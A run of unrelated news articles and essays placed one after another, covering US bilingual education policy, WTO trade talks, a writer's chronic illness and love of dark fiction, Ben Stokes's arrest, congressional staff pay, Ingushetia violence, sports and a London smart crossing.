Currently, there are two competing bills to reauthorize ESEA in Congress. Both the Senate’s Every Child Achieves Act and the House’s Student Success Act essentially stay the course with regard to language policy. Both versions have categorized “limited English proficient” children as “English learners” – a slightly more positive label, but one that still keeps the focus on English – but there are some differences between the bills as well.
The Senate’s legislation merely tweaks No Child Left Behind’s section on language instruction – Title III – while the House’s rendition eliminates a specific division for this purpose and primarily addresses language issues within the multifaceted Title I. Like the various ESEA reauthorizations since the 1980s, bilingual education is permitted, but the focus is on its development of English-language skills, not bilingualism. For example, the House version allows the “instructional use of both English and a child’s native language” to “attain English language proficiency” (section 1221). With the primary focus on “English language proficiency,” rather than bilingualism, linguistic minorities’ arduous civil rights journey has been ignored. Continuing in the tradition of NCLB, both of these reauthorization bills squander the historical legacy of the Bilingual Education Act.
As a historian of education who studies bilingual instruction in the United States, I sometimes hear the common refrain that “my grandparents came from Germany (or some other country), and they turned out just fine without bilingual education.” There are a couple of problems with that commonsensical stance. First, it was not until the Great Depression and, especially, the postwar era that the American high school became a mass institution; thus, most students, including foreign-language speakers, left school without completing a secondary education. Financially, many of these folks may have “turned out just fine” because there were plenty of blue-collar jobs in an industrial United States. That is not necessarily the case today.
Second, these mythical grandparents or great-grandparents that so many people mention may have, in fact, received bilingual instruction during their schooling. Many Americans think of bilingual education as an educational practice that emerged during the 1960s and 1970s for Latinos, Asians and Native Americans. Dual-language instruction in the US, however, is as old as public schooling itself.
Because of the local nature of schooling during the 19th century, as I argue in Bilingual Public Schooling in the United States, immigrants often established and shaped the schools in their communities, frequently insisting that their mother tongues be cultivated in the curriculum. German-English public schools were ubiquitous throughout the nation, while Norwegian and French bilingual schools could be found in the upper Midwest and Louisiana, respectively. As new groups of immigrants arrived in the decades surrounding the turn of the 20th century, Italian and Polish language programs began to make an appearance in local elementary schools.
The bilingual programs during the 19th and early-20th centuries had a multitude of competing (and sometimes overlapping) aims from attracting immigrants into the public schools so they could be “Americanized” to providing – to use today’s terminology – a sort of multicultural, nondiscriminatory education. Regardless of their goals, bilingual and elementary foreign-language programs were relatively common. During the 1870s in Cincinnati, Ohio, over half of the public elementary students received a German-English curriculum. In 1900 – a time when dual-language instruction was waning because of Americanization programs that emphasized English only – more US students received bilingual instruction than in 1975, as I documented in PowerPlay: A Journal of Educational Justice (Vol. 4, No. 1).
The First World War brought forth a patriotic zealotry that took aim at anything deemed un-American, including German-English bilingual programs. Nevertheless, dual-language instruction endured and even thrived after WWI, especially for newly arrived Mexican immigrants and the Native Americans, who, by the 1920s, witnessed a reversal of government policies regarding bilingual instruction in their schools. This interwar bilingual activity laid the groundwork for the passage of the Bilingual Education Act – Title VII of ESEA – in the postwar era.
At a time in which many civil rights in education have been weakened – the US Supreme Court, for instance, partially undermined the 1954 Brown decision (which, to some extent, inspired the Bilingual Education Act) with Milliken and subsequent decisions – a rare opportunity to strengthen a historic benefit for linguistic minorities has presented itself.
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Its latest stance marks a departure from its commitment in the Nairobi ministerial, where all WTO members had agreed to work towards finding a lasting solution to the issue by December 2017. After over two decades of existence, the WTO is now witnessing a barrage of criticism over the role of US, one of its staunchest proponents, while most others have renewed pledge to further strengthen its framework, exposing stark differences over how a rule-based multilateral trading system is being perceived today.
US Trade Representative (USTR) Robert Lighthizer said the WTO was increasingly becoming a litigation-centered organisation, losing its focus on negotiation, apart from going soft on fast-growing and wealthy developing countries. The USTR questioned the special and differential treatment to major developing nations at the WTO, in a veiled reference to countries like China and India. “We cannot sustain a situation in which new rules can only apply to the few, and that others will be given a pass in the name of self-proclaimed development status,” he said.
The EU, China, India and most others, however, called on all members to further bolster WTO’s framework. Re-invoking India’s pledge to the framework, commerce minister Suresh Prabhu said: “The expansion of global trade is our vision in the WTO. All countries stand to benefit from it. Therefore, at MC 11 we urge the WTO membership to unequivocally reaffirm the importance of a rules-based multilateral trading system as enshrined in the Marrakesh Agreement. We are increasingly seeing that the discourse on development at the WTO is sought to be deflected by specious arguments based on aggregate GDP figures,” Prabhu said.
He also drew attention to the fact that many developed countries have gained immensely from long periods of derogation from GATT rules in the area of agriculture and textiles.
The USTR’s statement reflects the Trump administration’s critical attitude towards the WTO on charges that US has got a raw deal from the trade body. In late November, the US blocked efforts by the WTO to draft a declaration for ministers to agree on at the Buenos Aires ministerial.
Under Trump, the US has blocked the appointments of new judges to a WTO body that hears internal trade disputes. Analysts have already warned of a paralysis in the functioning of the body, as more judges are expected to see their terms end in coming months.
EU trade commissioner Cecilia Malmstrom said the successes of the last two ministerials brought some optimism that despite significant differences of views among members, “the WTO is still capable of delivering important negotiated outcomes”. “Unfortunately, however, we start this year’s ministerial conference with more questions than answers, and little sense of concrete progress over the past two years. The system is being challenged, members show insufficient collective ownership and are divided on key questions such as what the WTO should be doing. And there are growing calls for conducting business outside the multilateral setting.”
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"I'm sorry," he said, "I'm sorry. I'm sorry."
He kept saying it. Over and over. My girlfriend stood next to me, gripping my hand. I was in intense pain, but even so, couldn't understand why he kept apologizing. My brain was a muddled gray mush, but I understood this much:
The pain was necessary. Expected.
They needed to get a line in me, you see, because I was dying.
And I knew it.
I read a lot of dark books. I'm a fan of the weird, the creepy, the strange. I have a fondness for Jeff VanderMeer and KJ Bishop and Angela Carter. I read Lovecraft only until it started to give me active nightmares. I've read everything by Christopher Priest, including the certainly not at all upbeat Fugue for a Darkening Island. I devoured Melvin Burgess's Bloodtide and Bloodsong like milky honey.
As a teen, I had people try and get me to read Terry Pratchett and Piers Anthony, but it just never took. I was getting something out of dark fiction, some catharsis, that I wasn't getting from other books with lots of laughs or tidy, upbeat endings.
How can you read all that stuff? People would ask me.
Life is fucking depressing enough.
But that was why I read it.
When I get laid off from my job in Chicago, six months after the ICU trip, I don't have any savings. No safety net. Because of U.S. health insurance laws at the time, I have to continue paying for health insurance or risk becoming uninsurable even under an employer plan. Health insurance costs me $800 a month and doesn't actually pay for a dime of the $500 a month that my new medication costs.
Chronic illness is like getting hammered upside the head with a shovel. They tell me it's an immune disorder, and there's nothing I could have done to prevent it. So sorry for you. Too bad. Could be worse. There are worse illnesses.
But now it costs me $500 a month in meds just to keep on living. Plus the $800 for the useless insurance. Plus $550 a month in rent. I'm making $320 a week in unemployment. And I've still got thousands in medical debt from the ICU visit.
In the comments of a recent Guardian article I'm quoted in, somebody tells me I'm bad at math.
Yeah, well. I was good enough then to know this wasn't going to work.
Death had never felt so close.
Life is dark, sometimes.
The trouble is, when you're pressed face-first into shit, all you can think about is trying to stay alive. It's all you do, when you're really desperate - you try and live. There's no time to emote, no time to figure it out, no time to sit on the bed and cry and feel sorry for yourself. When you're faced with your own problems, real, tangible I-could-fucking-die problems, you have to deal with them.
But a fictional problem?
Somebody else is dealing with that. You're just along for the ride.
It means you get to spend the whole ride actually feeling things, instead of buttoning it all back up so you can live.
This is the story of my life: getting called a monster because I do instead of feel, because I act instead of emote.
My week back at the house after the ICU visit, I saw blood every time I closed my eyes. My arms were filled with needle marks, covered in bruises. The pain was so bad, and I was so weak, I couldn't even prepare my own meals - I didn't have the strength to wield a knife.
I'd lost a tremendous amount of weight the last year, and more in the ICU. It was like I lived in someone else's body. I felt disconnected.
At night, I'd lie in bed, and when I closed my eyes I'd jerk awake again, haunted by sounds and smells and that blood, that blood gushing from my arm, pooling on the floor. I could smell the hospital antiseptic.
My week in the hospital, I was hooked up with a catheter. They stuck me with needles every three hours, and took blood four times a day. My period started. The catheter leaked. I got thrush, and couldn't eat, couldn't swallow. I spent a day lying in my own blood and urine. At one point an orderly threw a wet towel at me and told me to wash myself.
The memories of that horrible week came back every time I closed my eyes.
But I couldn't process what had happened to me, or how my life had changed now that I was totally reliant on medication for the rest of my life. I had thousands of dollars in medical bills. Rent had to be paid. I had to get back to work. I didn't have enough PTO time to miss work. I had to get back to work. Had to get back to living.
Gotta go. Gotta move.
I pretended I wasn't broken, because if I let myself be broken, I wasn't going to make it.
I'm not actually sure when I started writing dark fiction. I know I started writing GOD'S WAR the year I was dying. I was losing a lot of weight and drinking a lot of water, but nobody could figure out what was wrong with me.
It certainly started out as a dark little book; a war-weary world, a world-weary protagonist. But after I got back from the hospital, after I started measuring out my life in medication, something changed.
Because I realized something then, looking at all the medical bullshit keeping me alive:
Every life is a tragedy.
We are all going to die.
There is no other ending, no matter the choices you make.
There was some relief in that.
My first hospital visit after getting out of the ICU, I walked into the hospital bathroom and had a panic attack.
It was the strangest thing. One minute, I'm totally fine. I'm cool and collected. I'm just seeing my doctor, to deal with this bullshit illness.
But when I went into the bathroom and washed my hands, I smelled it: the antiseptic soap.
I'd first smelled it in the ICU, during that bloody horror show of a week.
I started to shake.
I went back into the bathroom stall and sat down. I burst into tears.
No reason.
Just the smell. The panic.
I'd been a body on a slab; a thing, subhuman.
Wash yourself.
I just finished playing a game called Mass Effect 3, the third in the Mass Effect franchise, naturally. It has a really contentious ending. The galaxy is being destroyed by an evil alien force, so of course your mission is to stop it.
But it's clear from the opening scene that you're basically fucked.
No matter what you choose, you're fucked.
I knew this from the very start. Right from the opening. I saw what was coming. I saw we were all fucked. And I played that game faster than any game I've ever played, because I could feel the urgency - yes, we're all fucked, but we're going to save the galaxy. I'm going to get there. I'm going to save it.
It's a relentlessly dark game, but it's just a game, right?
Yet I found myself playing this game and crying the whole way through it. I cried through the whole ending, because I knew. I knew from the very beginning. I knew how it would end.
We're all going to die.
But it was different, when I played the game. When I played it through in the game, it wasn't like in real life, when I had to keep moving, I had to keep sucking air; gotta find a job, figure out how to pay insurance bills, pack up my shit, move to a new place....
When I played the game, it was the character taking all these hits. It was the character who was letting people down. It was the character who had to keep moving.
And that freed me up to actually feel something.
I could actually roll through all those terrible emotions - the broken despair, the horror, the fear, the rage, the sorrow. I didn't have to muscle through. I could spend 40 hours of game time emoting, and not feel bad about it. It was emotion without weakness, catharsis without giving in to a real-world threat.
When I got to the end of the game, it was perfect, for me.
Because I knew from the start we were all going to die.
The challenge was having the fortitude to keep going when you knew you were going to die, when you knew it was all going to end.
For the character. For the fake galaxy.
For me, eventually.
And all of us.
I'm not sure where I picked up this relentless way of muscling through things without stopping to process them. I think it's a survival thing. My mom does this too, during times of great stress. The whole world bleeds away, and I get this laser focus. It means I'm incredibly good during times of fear and panic and crazy, but it can be days or weeks before I actually bust down and process what happened.
Reading tragedies, I realized, connecting with characters who persevered in the face of grim odds, and certain ends - were actually comfort reading for me. They put me into high-stress situations with no personal stakes, so I could actually feel the fear and discomfort and rage and horror without having any skin in the game.
Dark fiction didn't depress me - it invigorated me. So when folks talked to me about my work, or the books I read, and said they were downers, there was always a big disconnect. I understood why they would like upbeat endings, all neat and tidy, because real life wasn't like that, and they wanted something more hopeful.
But I felt plenty of hope all the time. It was the hope that kept me going.
I read because I needed to feel the other things without losing my shit and giving up.
Tragedies are, at their core, stand-ins for life itself. We all know how this little jaunt is going to end. We all know we're going to die. But we stick with it anyway. We persevere. We survive for just a little longer. Just a little bit longer, even knowing the end.
I do find real courage in that. There's a good story in that. And it's people who understand the end and get up again that I'm most interested in telling stories about, because people who take the hits and keep getting up inspire me to do it, too. If they can endure all that crap and get up again, well, hey, chronic illness and unemployment and bad relationships and poverty aren't so bad.
I did get up, eventually, I get up every time. Things got better.
But I know it won't always be sun and roses. I know the dark stuff is there - in my past, in my future. It bubbles up sometimes.
It's funny, though, because when it bubbles up I don't face it down, then: there are bills to pay, and posts to write. I face all that horror and fear on the page, instead. In safe stories about fake people's tragedies.
Tragedy is my comfort fiction, and I'm OK with that.
England all-rounder Ben Stokes is said to be "fragile and devastated" after his arrest on suspicion of assault.
Video footage allegedly shows the 26-year-old in a brawl near a Bristol nightclub in the early hours of Monday.
The England and Wales Cricket Board (ECB) has activated its disciplinary procedures with regards to the Test vice-captain.
Stokes was released under investigation after he was "arrested on suspicion of causing actual bodily harm".
Media playback is not supported on this device Michael Vaughan says Stokes needs to 'look at himself in the mirror' after arrest
Members of the ECB board are understood to have spoken on Thursday morning via video conference, and the footage obtained by The Sun newspaper has been reviewed at the highest levels of the organisation.
There could be an announcement later on Thursday on interim measures with respect to Stokes, who was on Wednesday named in England's 16-man Test squad to tour Australia this winter.
If Stokes was to be removed from the squad, the decision would be taken by director of cricket Andrew Strauss in conjunction with his selectors and sent to the ECB board to be ratified.
The footage shows a man repeatedly swinging punches towards two other men.
In the video, which police say has not been handed to them, men can be heard saying: "That's enough Stokesy."
The clip, which is just under a minute long, begins with one of the men - who is eventually knocked to the floor - appearing to attempt to strike somebody with a bottle.
The BBC has not been able to verify the footage.
Ben Stokes has played 39 Tests since making his debut in Australia in 2013
Stokes was arrested at Bristol's Mbargo club after an incident at about 02:35 BST which left another man needing hospital treatment for facial injuries.
Hours earlier, England had beaten West Indies by 124 runs in their third one-day international in Bristol, with Stokes scoring 73.
The all-rounder was not available for Wednesday's fourth ODI, in which England completed a series victory over West Indies.
Team-mate Alex Hales, who was with Stokes at the Mbargo club, also missed the match and returned to Bristol to help police.
Stokes is in England's Test squad to play Australia in a five-match Ashes series, which begins in Brisbane on 23 November.
He has a minor finger fracture on his right hand after the incident in Bristol but is expected to be fit for the tour.
The ECB is being kept fully abreast of the police's criminal investigation and will await the outcome of that before deciding whether to take any definitive action towards Stokes.
Stokes is said to be well aware of the magnitude of what has happened. Among the ECB's priorities are his wellbeing.
After Sunday's one-day match, the England players were free to disperse, socialise and travel as they wished - there has been a conscious effort to treat them like adults - but with the obvious requirement that they adhere to expected standards of behaviour and professionalism.
View from Australia
The news of Stokes' arrest has been making headlines in Australia ahead of England's Ashes tour.
Poms' plans in chaos as Stokes arrested, injured - Herald Sun
England under pressure to sack Stokes - Sydney Morning Herald
Lava Mae calls it “radical hospitality,” and hope that the initiative helps to change attitudes towards homeless people. One man tells the camera he’s been on the streets for 10 months, despite having an MBA from Stamford University. “How can that happen?” he is asked. “From being just one paycheck away,” the man says with a sad smile.
It’s tragic and terrifying, yet this is the reality for most of us; we should never forget how close we are to the homeless epidemic when we walk past a person whose story we don’t know.
For the first three quarters of 2012, the Minnesota Republican’s staff payroll averaged a little over $197,000. In the final three months of the year, it shot up to $354,000, an 80 percent increase.
Measured another way, the average three-month salary for full-time staff in Cravaack’s office rose 93 percent, from $12,269 to $23,722, in the fourth quarter of the year, with most of the increases coming in November — when he lost his re-election bid — according to an organization that tracks congressional pay. Five staff members saw their salaries at least double and Cravaack boosted the pay of another six staffers by more than 30 percent in November, congressional records show.
“[Cravaack] was quite generous,” said Garrett Snedeker, an editor at LegiStorm, a nonpartisan watchdog group that says it does not accept funding from political organizations.
The average salary hike in Cravaack’s office during the last quarter of 2012 was the third-highest percentage increase in Congress, ­Snedeker said.
Cravaack defended the pay increases, saying he wanted to help staff members who would have to find new jobs after he lost his re-election bid to Democrat Rick Nolan in November.
“At the end of the year, I maxed out everybody because I had no idea how long these guys would be out of work,” Cravaack said. According to the office of the Chief Administrative Officer, congressional political aides do not qualify for unemployment benefits.
For decades, departing members of Congress have awarded large bonuses and salary increases to longtime staff, said Bill Allison, of the Washington-based Sunlight Foundation, a nonpartisan government transparency group.
Cravaack’s decision is uncommon, Allison and Snedeker said, because the salary increases granted are of a magnitude typically awarded by senior members of Congress.
“[Cravaack’s staff] almost made a meteoric rise over his term to collecting these salaries,” Snedeker said, “... which put them in the type of salary range you would think of very senior staffers in Congress earning.”
During 2011, his first year in office, Cravaack had the smallest payroll among Minnesota’s eight U.S. House offices.
Last year, his $957,400 payroll ranked third-highest, trailing only Democratic U.S. Reps. Keith Ellison and Betty McCollum, who spent more than $1 million on staff.
Cravaack campaigned on a message of careful stewardship of the public’s money, a message that he said he adhered to for most of his one term in Congress.
But when he lost re-election, he said, “I wanted to make sure that I took care of my people. I wanted to make sure they had money for their rent, money for their bills, while they looked for employment.”
‘It’s not his money’
Tom Schatz, president of Citizens Against Government Waste, a Washington-based fiscal watchdog group, said: “It’s not his money to say, ‘I’m going to help my people.’ This is public service and there is always the risk that someone who works for a member of Congress could be out of a job. ... That’s part of the deal that comes along with working on Capitol Hill.”
Despite awarding the larger-than-average pay increases, Cravaack said he still returned between $30,000 and $35,000 of his office allowance. That’s common practice in Minnesota. Congressional records indicate that the state’s congressional offices have often returned tens of thousands of dollars to the U.S. House or Treasury.
Each House of Representatives office gets an annual expense budget based on factors that include the distance the member’s district is from Washington and the cost of in-district office space. In 2012, office budgets for Minnesota’s House members ranged from $1.335 million to $1.385 million, with upward of 80 percent spent on staff.
When money remains, many congressional offices hand out year-end bonuses and salary increases, even if the member of Congress isn’t leaving. Former U.S. Rep. Jim Oberstar, Cravaack’s predecessor in the state’s Eighth District, said he regularly did so during his 30-plus years in Congress.
“We did that each year ... depending on how much we had remaining in our annual budget,” Oberstar said.
Other reasons payroll can increase include staff shifting to different roles and pay levels, departing workers who cash out accrued leave and congressional staffers returning to the Capitol after working on campaigns. Payroll in congressional offices can increase in the final quarter of the year, said Bill Harper, McCollum’s chief of staff.
The largest increases still often happen when a member leaves Congress.
“Members don’t exactly announce this as they leave,” Schatz said.
During his last three months in office in 2010, Oberstar paid out more than $437,000 in salaries, a figure that topped his previous high-water mark by more than $75,000.
Things have changed. Since 2010, congressional budgets have been slashed by almost 20 percent.
During that final year, when Oberstar served as chairman of the House Committee on Transportation and Infrastructure, he spent more than $1.36 million on staff. That’s only slightly less than the $1.385 million Cravaack had to cover all office expenses in 2012, including travel costs, supplies, rent and staff salaries.
“What we actually paid on an annual basis versus what he paid his staff is very different,” Cravaack said.
Of the 20 House offices with the heftiest salary increases at the end of 2012, nearly all were members who retired or lost elections. Retiring New York Democratic Rep. Gary Ackerman had a 100.8 percent payroll increase from the first to the fourth quarter of 2012, the highest in Congress. Todd Akin of Missouri, Cravaack and Allen West of Florida, all Republicans, rounded out the top four. (Akin ran for a Senate seat and lost, while Cravaack and West failed in re-election attempts.)
“I’m sure there are some people who don’t do this,” Allison said. But “unless you have some strong aversion to spending public money, most members of Congress will do this to some extent when they’re leaving.”
Star Tribune correspondent Kevin Diaz contributed to this report.
As previously reported, the Wu-Tang Clan’s The Wu – Once Upon A Time In Shaolin will be released as an edition of one, taken on an art tour, and sold to the highest bidder, and RZA says that they already have a $5 million bid.
Upset at the prospect of the album landing in the hands of “some Saudi oil baron’s kid,” some enterprising Wu-Tang fans have set up a Kickstarter with a goal of buying the album and sharing the music digitally.
“For all the fans who won’t be able to pay 30-50 bucks to listen to a double album in one sitting, let’s raise enough money to buy this album and then turn around and give it away for free,” they write. “Wu members can still get their CREAM and the rest of us get to enjoy an epic album instead of some uber rich bastard keeping it to himself like a collector’s item.”
The UK’s first ‘cereal café’ has opened in east London.
Cereal Killer Café, owned by identical twins Alan and Gary Keery will serve 120 different varieties of cereal, and little else.
Visitors to the hotly-anticipated venue on Brick Lane will be able to concoct their perfect cereal cocktail by customising their bowls with 20 different topping and 30 different types of milk.
Opening today, Cereal Killer Café has already caused a stir by charging £2.50 for a small bowl of cereal in one of London’s poorest boroughs, Tower Hamlets, where one in two children are growing up in poverty .
But that didn’t seem to deter cereal-lovers as the new store was packed within in hours of opening.
"We thought, 'Well, why isn't there anywhere that you can just go and sit down and have a bowl of cereal?'" Gary Keery said.
"So we have done some research into it. Would it work as a business? How would it look? Where would we get the cereal from?
"And everything was just ticking all the boxes for us so now here we are, just nearly a year and a half later and we are about to open our doors, so it's exciting."
By James Kilner
NAZRAN, Russia, Sept 26 (Reuters) - Russia thought it had tamed the Muslim regions on its southern flank when it quelled a rebellion in Chechnya, but trouble is brewing again.
Barely noticed by the outside world, increasing violence and clashes between federal forces and rebels in Ingushetia, just west of Chechnya, threaten to destabilise the north Caucasus.
Ninety-three people were killed in clashes in the year to the end of August, the local branch of human rights group Memorial says — a big death toll for a region with a population of only 470,000.
Gunshots ring out at night in Nazran, the biggest town, and bomb attacks, murders and kidnappings are part of daily life.
In a busy public building, a policeman waited until his colleague was out of earshot before giving his views on what was happening in the region.
"The presidency doesn’t work, the ministries don’t work and the government doesn’t work," he said, speaking softly.
"There were more dead yesterday. What will happen today?" Three men had been killed by unknown gunmen and two soldiers wounded by a grenade attack on the interior ministry.
Russian officials blame the violence on groups of armed men, many driven by Islamist ideas, who they say have tried to overthrow Moscow’s rule since 2002.
Many local people, along with human rights groups, say heavy-handed tactics by the security forces have combined with frustration over poverty and official corruption to create a popular uprising.
The region, wedged between Chechnya and North Ossetia, is one of Russia’s poorest, with unemployment estimated at about 75 percent.
"Really what we have in Ingushetia is a civil war," said Alexei Malashenko, an analyst at the Carnegie Moscow Center.
Much of the anger is directed against Murat Zyazikov, the former KGB officer who was elected president of Ingushetia in 2002 and is backed by the Kremlin.
"There weren’t any rebels in Ingushetia in 2002. Now it’s getting worse and worse," said Timur Akiyev, the local director of Russian human rights group Memorial.
On his desk lay a pile of photocopied photos of more than 200 men who have disappeared in the region since 2002.
Rights groups blame security forces and say such methods drive young men to take up arms.
"Ingushetia is virtually out of control," Akiyev said.
"OUTSIDE FORCES"
Yuri Turygin, Ingushetia’s chief prosecutor, said the authorities had no choice but to mount security operations to neutralise the insurgents.
"The rebels were living here in camps and nobody touched them," said Turygin, whose office is guarded by two heavily-armed soldiers and who has a picture of Prime Minister Vladimir Putin as the screensaver on his mobile telephone.
"Now, if we close our eyes to this we will have an even bigger problem."
Zyazikov agreed to be interviewed but his spokesman later said he was unavailable. In the past he has blamed the violence on outside forces seeking to undermine Russia.
It is more than a local problem. As with two rounds of conflict in Chechnya, which killed tens of thousands of people from 1994 and spilled over to neighbouring regions, the clashes in Ingushetia could spread to other parts of the North Caucasus.
They could also re-ignite an ethnic conflict with the neighbouring Christian region of North Ossetia in which more than 500 people were killed in 1992.
"The situation could become more dangerous because of Ossetia," Malashenko at the Carnegie Moscow Center said. "All this anger is directed against Zyazikov but it could easily be directed against the Ossetians.
Ingushetia’s opposition politicians have distanced themselves from the rebels and say they will focus on street protests to try to force Zyazikov to resign.
Late last month Ingushetia’s most prominent opposition figure, Magomed Yevloyev, was found dumped outside a hospital dying from a gunshot to the head. Prosecutors said a policeman shot him by accident when Yevloyev tried to grab his gun.
The European Union called for an explanation, a further thorn in Russia’s side after EU criticism of Moscow’s intervention in Georgia in August over breakaway South Ossetia.
Analysts say Russia’s subsequent recognition of the Georgian region could encourage rebels in places like Ingushetia, making it harder for Moscow to maintain control.
When the Reuters car left the home of a local opposition leader in Nazran, a car with blacked-out windows followed through Nazran’s litter strewn streets.
At the airport — where gunmen dozed in chairs and an English "Tourist Information" sign adorned an abandoned booth — security agents asked aggressive questions and searched pockets, equipment and bags.
The policeman who had expressed his dislike for the authorities said he had to earn a living.
"What choice do we have? Join the police or run away to the forests," he said, referring the tree-lined hills of the Caucasus mountains where the rebel gunmen hide out.
Nazran’s covered market lies not far from a vodka shop firebombed by rebels. The stalls were piled high with fruit but there were no customers.
"People are scared," said a woman wearing a headscarf running a row of stalls.
"Three people died last night. I will go home from work tonight but I am not sure that I will be back." (Editing by Philippa Fletcher) (For a factbox on Ingushetia double click [ID:nLH384129])
BCCL
Aditya Singh, 24, and Shailesh Saxena, 31, worked for an Apollo doctor while Aseem Sikdar, 37, Satya Prakash, 30, and Devashish Moulik, 30, were touts who lured poor people into selling one of their kidneys.
Police have also booked the donors and are tracking the recipients. The cops are in the process of sending a notice to the hospital administration asking them to join investigations.
BCCL/representational image
Don't Miss 96.5 K SHARES 50.8 K SHARES 65.6 K SHARES 22.5 K SHARES 35.5 K SHARES
Those arrested have revealed that donors were paid Rs 3-4 lakh while recipients had to shell out up to Rs 50 lakh for the transplant.
BCCL/representational image
The donors were procured from Bengal, Kanpur, Delhi and Chennai, where the touts had local scouts. Prospective donors were brought to Delhi and made to stay in luxury hotels while the pre-surgery tests were conducted.
When Putin raised the possibility of extending the 2010 treaty, known as New START, Trump paused to ask his aides in an aside what the treaty was, these sources said.
Trump then told Putin the treaty was one of several bad deals negotiated by the Obama administration, saying that New START favored Russia. Trump also talked about his own popularity, the sources said.
The White House declined to comment on the details of the call. White House spokesman Sean Spicer said Trump knew what the New START treaty is but had turned to his aides for an opinion during the call with Putin. He said the notes from the call would not have conveyed that.
"I would say they had a very productive call," Spicer told reporters. He added, "It wasn't like he didn't know what was being said. He wanted an opinion on something."
It has not been previously reported that Trump had conveyed his doubt about New START to Putin in the hour-long call.
“I am very happy to say that we have locked down our second driver today,” said Team Manager Brian Halahan. “We ran Andre in our first test at Indy last October, and we had some success with him right from the start. He was fast and he worked well with the team, so I feel we can build on that and have him running strong as soon as he is back in the Newman Wachs car. I think Andre and Dakota will make good teammates and push each other to the front.”
Castro, who turned 18 just a few weeks ago, was born in New York City, but his origins are Colombian. He speaks both English and Spanish, as his parents are immigrants from Colombia. He attends Stuyvesant High School, a school for gifted students.The young driver began racing go-karts at the age of seven, and won his very first race. He raced go-karts until 2016, when he started racing cars accumulating three wins, six poles, and ten podiums in the Skip Barber Championship Series. He was also nominated for the Team USA Scholarship after only three races in a car, and made it to the finalist stage.
“I am thrilled to be a part of Newman Wachs’ return to open-wheel racing," said Castro. After working with the team closely in the weeks leading up to the Chris Griffis Memorial test at Indy last fall, I saw that the team was incredibly serious about coming back and winning straight out of the gate. At the test itself, I was able to work with engineer Alan O’Leary extremely well, and by the end of the final day, me, a rookie driver and a returning team, together, we managed to be on top of the time sheets.
“With all the extensive behind-the-scenes work and fine-tuning that Brian and the whole team have undertaken since then, I have no doubt that we will be able to compete for wins from the very first race in St. Petersburg," Castro added. "I know I have a steep learning curve ahead of me, but I look forward to the challenge and I cannot wait to get going.”
At first, as Sabres winger Zemgus Girgensons acclimated to life in the junior United States Hockey League, he was quiet around his Dubuque Fighting Saints teammates.
Within a month, Gaudreau said, his new friend had “changed completely.”
“He’s talking all over the place,” Gaudreau said Thursday prior to the Flames’ 6-3 loss to the Sabres inside the First Niagara Center. “He feels all comfortable. It took a little bit of time to get comfortable with each other, but after that month, just getting used to each other, getting to know each other, me and him were hanging out every single day.”
Both players sounded a bit nostalgic talking about their friendship and the Fighting Saints’ 2010-11 championship season, Gaudreau’s last before starting his dynamic NCAA career at Boston College.
“We kind of just took ahold of our friendship pretty good there,” Gaudreau said. “We were both younger guys and both learning, trying to make a name for ourselves. We became great friends off the ice and great linemates on the ice.”
Girgensons said he’s never had a more enjoyable year of hockey.
Playing beside Gaudreau, Girgensons said, “kind of got me in a groove.”
“That’s kind of where everything started going uphill for me,” he said.
Even at 16, Girgensons, who centered Gaudreau all season, looked like he could reach hockey’s highest level. The Sabres drafted him 14th overall in 2012. Gaudreau, however, had plenty of doubters thanks to his diminutive stature. These days, the slick winger’s generously listed at 5-foot-9.
Despite scoring 36 goals and 72 points in 60 games, Gaudreau lasted until the 104th pick in the 2011 NHL Draft.
“Same style of player,” Girgensons said. “A lot of people doubted him. Even back then, going to junior and going to college, he’s always proven them wrong. He’s that type of player that can make plays no matter what. You think you can hit him, but you can’t.”
Gaudreau had 49 goals and 128 points in 143 NHL games entering Thursday, including 24 goals and 63 points in 62 contests this season.
“People always say with his size he might not make it,” Girgensons said.
After a brief run back at center filling in for the injured Ryan O’Reilly, Sabres rookie Sam Reinhart has been skating on the right wing beside center Jack Eichel and Evander Kane.
Someday, Sabres coach Dan Bylsma said, he envisions Reinhart returning to center, his natural position. But Reinhart, whose 18 scores lead the goal-deprived team, is most effective on the side right now, Bylsma believes.
“Just really putting together a line that could be our best line,” Bylsma said.
Bylsma shifted Reinhart this season so he could play on the top two lines. While the move to the wing will likely only be temporary, the second overall pick in 2014 has played so well Bylsma has thought about perhaps leaving him there.
“It does maybe change a little bit with the success that he’s had at wing and the comfort that he has, kind of seamlessly starting there and playing there and the success he’s had,” Bylsma said. “I still think his intelligence of how he plays the game lends itself to being a puck distributor in the middle of the ice.”
Bylsma said with O’Reilly (foot) out, Reinhart could play center again soon.
“I probably think in the next 18 games he’ll play a few more at center,” he said.
Despite his terrific rookie season, Reinhart was left off the initial roster released Wednesday for the Under-23 North America team at the World Cup later this year. Clearly, he’ll be in the conversation until the team is finalized.
“Obviously, it would be an honor,” Reinhart said. “Not really on my mind right now.”
Of course, Eichel earned a spot on the U-23 team that also has Gaudreau and phenom Connor McDavid.
The unique World Cup format – there are basically All-Star teams in addition to countries – is good, Eichel said.
“It kind of expands the people who can participate in this event,” he said.
Bylsma said defenseman Cody Franson’s neck injury has “kind of … gone the wrong way for him.” He mentioned Franson has some other issues.
Futuristic pedestrian crossing unveiled in London
A prototype "smart crossing" has been demonstrated in London, which automatically differentiates between vehicles, pedestrians and cyclists – adapting its markings and signals to their needs in real-time, ensuring a safer experience for all users.
The world’s first responsive road crossing is being showcased in London this week, aimed at tackling the 7,000+ incidents recorded each year at UK crossings between vehicles, cyclists and pedestrians. Urban design technologists Umbrellium created the crossing for insurer Direct Line, in response to research by Transport Research Lab (TRL), which unearthed the dangers faced at pedestrian crossings.
Many factors were identified by TRL that affect the safety of pedestrians on road crossings. The pedestrian’s position and route as they cross the road, the influence of other pedestrians dangerously crossing the road and the impact of overcrowding at crossing facilities, are all potentially hazardous occurrences that shaped the design of this new technology.
The Smart Crossing, which spans 22m (72 ft) of responsive road surface, uses computer vision technology to “see” exactly what’s happening around it, and an LED road surface to change its markings dynamically to keep users safe, without manual input. It can pre-empt pedestrians’ movement and where their eyeline is most likely to be, helping to ensure it grabs attention to limit danger.
The project has received backing from road safety charity, Brake and The Parliamentary Advisory Council for Transport Safety (PACTS) – who stated that the Smart Crossing “could offer an innovative solution across the UK and especially in London where the problem is most prevalent.”
The Smart Crossing has a number of other features:
• It can widen to accommodate large groups, which could help in preventing crowd-related incidents outside schools or sporting events
• It can instantly adapt in emergency situations, such as a child chasing a ball into the path of oncoming traffic
• It can provide warning signals for pedestrians walking across the road, to ensure they're not hidden by high-sided vehicles that can cause a blind spot for other road users
